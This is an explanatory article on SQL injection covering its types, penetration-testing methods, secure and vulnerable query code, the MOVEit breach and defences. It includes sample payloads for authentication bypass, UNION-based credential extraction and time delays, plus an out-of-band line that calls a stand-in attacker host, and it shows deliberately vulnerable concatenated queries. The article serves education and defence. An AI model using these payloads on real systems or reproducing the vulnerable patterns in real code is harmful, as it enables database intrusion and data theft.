SQL injection is a web application vulnerability where an attacker inserts malicious SQL statements into input fields that are passed unsanitised to a backend database. The database executes the attacker-controlled code, enabling data theft, authentication bypass, or full database destruction. It is classified under CWE-89 and ranked third in the MITRE CWE Top 25 for 2024.

What is SQL injection?
SQL injection occurs when an application builds database queries by concatenating user-supplied input without validation or escaping. The database has no mechanism to distinguish between the intended SQL structure and the attacker-controlled content appended to it. Both are treated as valid instruction.
A login form that passes a username directly into a query illustrates the root cause. If the application constructs SELECT * FROM users WHERE username = 'input', an attacker who enters ' OR '1'='1 transforms that into:
SELECT * FROM users WHERE username = '' OR '1'='1'
The condition is always true. Every account is returned. The first one is typically admin.
SQL injection has appeared in the OWASP Top 10 since the list was first published. The 2021 revision places it under A03:2021 Injection; the 2025 revision moves it to A05:2025, where it remains in the top five. OWASP's prevalence data shows injection affecting 100% of tested applications in some form. Under MITRE ATT&CK, SQL injection is a primary technique within T1190 (Exploit Public-Facing Application), the initial access tactic used by threat actors targeting web applications.
What are the different types of SQL injection?
Penetration testers categorise SQL injection by how data returns to the attacker, because that determines the testing technique and the severity of exploitation.
In-band SQL injection
In-band injection means the attacker sends the payload and receives results through the same communication channel: the HTTP response.
Error-based injection works when the application surfaces database error messages. A malformed query fragment causes the database to throw a verbose error. That error may contain schema structure, table names, or data values. Many production applications still have debug error handling enabled.
UNION-based injection is the primary data extraction technique. The attacker appends a UNION SELECT statement matching the column count and types of the original query, then substitutes attacker-controlled values. A single UNION payload can return usernames, password hashes, or any other table contents in the same HTTP response as the intended page.
Blind SQL injection
Blind injection applies when the application returns neither query results nor database errors.
Boolean-based blind injection sends two requests: one with a condition evaluating to true, one evaluating to false. If the application responds differently, the injection point is confirmed. Chaining boolean conditions extracts data one bit at a time.
Time-based blind injection injects database delay commands (SLEEP() in MySQL, WAITFOR DELAY in SQL Server) with conditional logic. A delayed response confirms the condition was true. Slower than boolean-based extraction, but effective when application responses look identical regardless of query result.
Out-of-band SQL injection
Out-of-band techniques exfiltrate data through a separate channel, typically DNS lookups or HTTP requests to an attacker-controlled server. Used when in-band responses are suppressed and time-based techniques are unreliable due to network latency. On SQL Server, xp_dirtree can trigger outbound DNS requests containing encoded data. On Oracle, UTL_HTTP initiates outbound HTTP. These require specific database configurations but are highly effective when available.
Second-order SQL injection
Second-order (stored) SQL injection is the most frequently overlooked variant. The attacker submits a payload that is stored safely at insertion time. The vulnerability fires later, when a different part of the application retrieves that stored value and uses it in a new query without sanitisation.
A typical scenario: a user registers with a username containing SQL syntax. The registration endpoint uses a parameterised query, so the payload is stored as a literal string. Later, a password-change function retrieves the username and concatenates it directly into a new query. The stored payload executes. Automated scanners miss this because the input and execution points are separate HTTP requests. The connection between them requires a tester who understands the application flow, not one who is pattern-matching for payloads.
SQL injection types at a glance
| Injection type | How data returns | Primary detection method | Severity | Example payload |
|---|---|---|---|---|
| Error-based | Database error in HTTP response | Single-quote probe; observe verbose error | Critical | ' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))-- |
| UNION-based | Attacker data in response body | UNION SELECT with null columns | Critical | ' UNION SELECT username,password,null FROM users-- |
| Boolean-based blind | App behaviour differs for true/false conditions | Paired requests with opposite conditions | High | AND 1=1 vs AND 1=2 |
| Time-based blind | Response delay confirms condition | Inject SLEEP() / WAITFOR DELAY | High | '; WAITFOR DELAY '0:0:5'-- |
| Out-of-band | Data via DNS or HTTP to attacker server | Monitor outbound DNS; check egress | High | '; EXEC xp_dirtree '//attacker.com/a'-- |
| Second-order | Stored payload fires on later retrieval | Multi-request trace: register, then trigger | High | Username admin'-- used in password-reset query |
How do penetration testers find SQL injection?
A structured web application penetration test begins with enumeration before any injection attempt. Testers map every input surface that reaches the backend: form fields, URL query parameters, path segments, cookies, HTTP headers (User-Agent, Referer, X-Forwarded-For), JSON and XML request bodies, and GraphQL arguments. Any value the server processes is a candidate.
Manual testing starts with simple probes. A single quote (') often causes a database error or an unexpected page change if the parameter is injectable. Boolean pairs (AND 1=1 versus AND 1=2) confirm blind injection. A time delay payload ('; WAITFOR DELAY '0:0:5'--) confirms injection in SQL Server environments where no visible difference exists between true and false conditions.
The methodology follows OWASP Testing Guide v4.2, section WSTG-INPV-05 (Testing for SQL Injection). This covers input vector identification, database fingerprinting, data extraction techniques, stored procedure testing, and out-of-band channel verification.
Once a tester confirms an injection point manually, tooling handles extraction. Burp Suite's Repeater iterates on payloads precisely. Burp Intruder fuzzes across parameter lists. SQLMap (current stable build: 1.8.x) automates fingerprinting the database engine, determining the injection type, and dumping tables. Competent testers confirm findings manually before invoking SQLMap; false positives from automation generate noise and can waste client remediation time.
Stored procedures, batch endpoints, and API parameters get the same scrutiny as web forms. Many teams apply input validation on the presentation layer and assume the API layer is internal-only. That assumption does not hold in practice.
Second-order injection requires tracing state across multiple requests: register a payload, trigger a downstream action, observe whether the stored value executes in a new query context. This is manual work that no scanner performs reliably.

What does a SQL injection attack look like in code?
The difference between a vulnerable and a secure query is a single architectural decision: whether user input enters the SQL parse tree or is handled as a parameter.
Vulnerable: string concatenation
# Python + raw database cursor -- VULNERABLE
user_id = request.args.get("id")
query = "SELECT * FROM users WHERE id = '" + user_id + "'"
cursor.execute(query)
If user_id is 1' UNION SELECT username, password, null FROM admin_users--, the executed query becomes:
SELECT * FROM users WHERE id = '1'
UNION SELECT username, password, null FROM admin_users--'
The attacker receives admin credentials alongside the intended user record.
Secure: parameterised queries
# Python + raw database cursor -- SECURE
user_id = request.args.get("id")
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
The database driver sends the query structure and the parameter as separate values. The database treats the parameter as a literal, not as SQL to parse. No SQL syntax in user_id can alter the query structure.
The same pattern in other languages:
// Node.js + mysql2 -- SECURE
const [rows] = await connection.execute(
"SELECT * FROM users WHERE id = ?",
[userId]
);
// Java JDBC -- SECURE
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM users WHERE id = ?"
);
stmt.setString(1, userId);
ORM misuse
ORMs reduce SQL injection risk but do not eliminate it. Developers reach for raw query methods when the ORM's abstraction feels limiting: complex joins, dynamic column selection, or custom reporting queries. 18% of applications using ORMs are still vulnerable to SQL injection on their first security scan (Propel Code, 2025).
# Django ORM -- VULNERABLE raw query
User.objects.raw("SELECT * FROM users WHERE id = " + user_id)
# Django ORM -- SECURE parameterised raw query
User.objects.raw("SELECT * FROM users WHERE id = %s", [user_id])
# Django ORM -- SECURE standard query (preferred)
User.objects.filter(id=user_id)
Django's filter() generates a parameterised query automatically. Raw queries bypass that protection entirely and must be parameterised explicitly. The framework makes the safe choice the easy choice, but only when developers stay on the standard path.

What is the business impact of SQL injection?
SQL injection is not a theoretical risk. Web application attacks, including SQLi, accounted for 26% of all data breaches in 2024 (Verizon DBIR 2024). CWE-89 ranked third in the MITRE CWE Top 25 for 2024 with 1,467 associated CVEs. More than 14,000 CVEs have been attributed to SQL injection across its recorded history.
The MOVEit breach (May 2023) is the most consequential recent example. The Cl0p ransomware group exploited a zero-day SQL injection vulnerability (CVE-2023-34362, CVSS 9.8) in MOVEit Transfer, a managed file transfer platform used by large enterprises and government agencies. The injection flaw allowed unauthenticated remote code execution. A web shell was planted within hours of exploitation. Affected UK organisations included British Airways, the BBC, and Boots, with employee National Insurance numbers, payroll data, and home addresses extracted. Estimated affected organisations globally: over 2,000.
The breach was not caused by a complex novel attack technique. It was a SQL injection vulnerability in a widely-deployed enterprise application. The fix, once available, was a query parameterisation change.
| Business impact | Description |
|---|---|
| Full database extraction | UNION-based injection can dump every table: users, orders, payment data, internal records |
| Authentication bypass | A single payload logs an attacker in as any user, including administrators, without a password |
| Data manipulation | INSERT, UPDATE, and DELETE can be injected to modify records, create backdoor accounts, or destroy data |
| Privilege escalation | On databases with xp_cmdshell enabled or file permissions, SQL injection becomes operating system access |
| Lateral movement | Database servers sit on internal networks; compromising the database layer provides a foothold for further access |
A SQL injection vulnerability in a customer-facing application constitutes a data breach under UK GDPR if personal data is accessed. The Information Commissioner's Office treats failure to protect against well-known vulnerability classes as a failure of appropriate technical measures. Fines, mandatory disclosure obligations, and reputational consequences follow.
How do you prevent SQL injection?
Defence-in-depth is the correct framing. No single control is sufficient on its own, but parameterised queries are the non-negotiable foundation.
Parameterised queries and prepared statements. This is the primary defence. If user input never enters the SQL parse tree, it cannot alter query structure. Parameterise every database interaction, including those that appear read-only or low-risk. The database driver handles separation of query structure from parameter values.
Input validation with allowlists. Validate that input conforms to the expected format before it reaches the data layer. An id parameter that should be an integer should be rejected if it contains anything other than digits. Allowlists (permitted patterns) are more reliable than denylists (blocked patterns) because denylists are bypassable through encoding variations.
Stored procedures (with caveats). Stored procedures can reduce injection surface, but only if written with parameterised inputs. A stored procedure that concatenates its parameters into a dynamic SQL string is as vulnerable as inline query construction.
Least-privilege database accounts. The web application's database account should have only the permissions the application genuinely requires. A read-only application does not need INSERT, UPDATE, DELETE, or DROP. When SQL injection occurs, least privilege limits the blast radius.
WAF as a supplementary layer. A web application firewall can block common payloads and script-based tooling at the perimeter. As covered in the post on WAF bypass techniques, bypass techniques exist for every major WAF vendor. Custom payloads, encoding variants, and database-specific syntax routinely pass signature-based filters. Treat a WAF as an additional detection layer, not a substitute for secure code.
Regular penetration testing. Code reviews and static analysis catch many vulnerabilities at build time, but they do not replicate adversarial conditions. Regular web application penetration testing verifies that parameterised query patterns are applied consistently, that ORM raw query methods are not introducing regressions, and that second-order injection paths are identified before attackers find them.
The counter-narrative worth acknowledging: parameterised queries have been available in every major language and framework since the late 1990s. OWASP has listed parameterisation as the primary control for over 15 years. SQL injection still appears in the top three findings across web application assessments because the defence is inconsistently applied. Legacy modules, ORM escape hatches, third-party integrations, and developer shortcuts each create gaps. The vulnerability class is solved in theory. The gap is in consistent application across the entire codebase, including the parts written five years ago by a developer who has since left.
Common questions
Can a WAF prevent SQL injection?
Partially. A WAF blocks common payloads and automated scanning tools. It will not stop a skilled tester or attacker using obfuscation, encoding variants, or database-specific syntax that does not match known signatures. The correct position: fix the code first, then use a WAF as an additional detection layer.
Is SQL injection still a threat in 2026?
Yes. SQL injection appears in the top three findings across web application penetration tests consistently. Modern frameworks reduce the likelihood that developers write raw queries for standard operations, but large applications contain legacy modules, third-party integrations, and custom reporting layers where parameterisation is inconsistent. Second-order injection and injection in API parameters remain common findings even in applications that use ORMs for their primary data layer. CWE-89 recorded 1,467 CVEs in 2024 alone.
How long does exploitation take?
Once an injection point is confirmed, full database extraction can take minutes with automated tooling. SQLMap fingerprints the database engine, enumerates tables, and dumps credentials in a single command. Time-based blind injection is slower for large databases (potentially hours), but in-band injection with UNION payloads is fast. The detection-to-exploitation gap is short enough that a vulnerability in a production application represents immediate risk.
What is the difference between SQL injection and NoSQL injection?
SQL injection targets relational databases (MySQL, PostgreSQL, SQL Server, Oracle) that use structured query language. NoSQL injection targets document stores and key-value databases (MongoDB, CouchDB, Redis) that use different query formats. The root cause is the same: unsanitised user input passed to a query interface. The payloads and prevention techniques differ by database type. MongoDB is vulnerable to operator injection via JSON bodies, using $where or $gt operators in request parameters. Parameterisation and input validation remain the primary defences in both cases.